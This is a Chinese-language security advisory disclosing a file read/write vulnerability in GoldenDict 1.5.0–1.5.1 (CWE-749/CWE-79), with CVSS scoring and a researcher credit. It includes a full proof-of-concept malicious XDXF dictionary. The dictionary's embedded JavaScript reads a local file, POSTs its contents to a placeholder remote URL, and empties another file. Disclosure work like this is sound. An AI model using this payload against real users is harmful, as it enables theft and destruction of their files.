CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 和 1.5.1 存在一个暴露的危险方法,当用户添加精心制作的词典并在该词典中搜索任意词条时,可以读取和修改文件。
该产品提供了与外部行为者交互的接口,其中包含 GoldenDict(版本 1.5.0、1.5.1)中一个未被适当限制的危险方法。这使远程攻击者能够在用户添加并使用恶意词典时,访问并修改用户文件系统上的文件。
CWE-749:暴露的危险方法或函数;CWE-79:Web页面生成过程中输入的不当中和(跨站脚本攻击)
GoldenDict 项目
GoldenDict - 1.5.0、1.5.1
GoldenDict 可执行文件、源代码文件 xdxf.cc、源代码文件 xdxf2html.cc、源代码文件 stardict.cc。
远程
true
true
可读取和修改用户文件系统上的文件
要利用此漏洞,用户必须添加恶意词典到程序中,并搜索该词典中包含的任意词条。
Grebennikov Timofey,Astra Group 开发安全控制部门渗透测试组专家。
https://github.com/goldendict/goldendict/releases
GoldenDict 是一个用于在 Wikipedia 和本地安装的词典中搜索词条的图形化程序。支持多种词典格式,包括带有 XML 标记的 XDXF 格式。词典由其他用户在互联网上分发。
该程序使用 Qt Widgets 组件包中包含的浏览器引擎来渲染和显示词典中的单词。
同时发现了多个安全违规行为,它们共同导致了严重漏洞的产生:
这些违规行为共同导致攻击者能够通过向从互联网下载的 XDXF 词典的 XML 标记中嵌入恶意 JS 代码来获取对用户文件的访问权限。
要在 Windows 上测试漏洞,您可以运行一个影响文件系统中两个预备文件的脚本。
C:\Users\Public\Documents 目录下创建两个文件并填入任意内容:
malicious_dictionary.xdxf,内容如下:<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
初始化后,该词典会将 secret.txt 的内容发送到远程服务器,并清空 idea.txt。
[Target-URL] 模板替换为您控制的任何 HTTP 请求监听器的地址。验证攻击是否成功 – 接收方将收到包含 secret.txt 文件内容的消息,而 idea.txt 文件将被清空。
此漏洞同时影响 Windows 和 Linux 系统。要在 Linux 系统上复现漏洞,需要使用不同的目录来存储测试文件,并在恶意代码中指定该目录。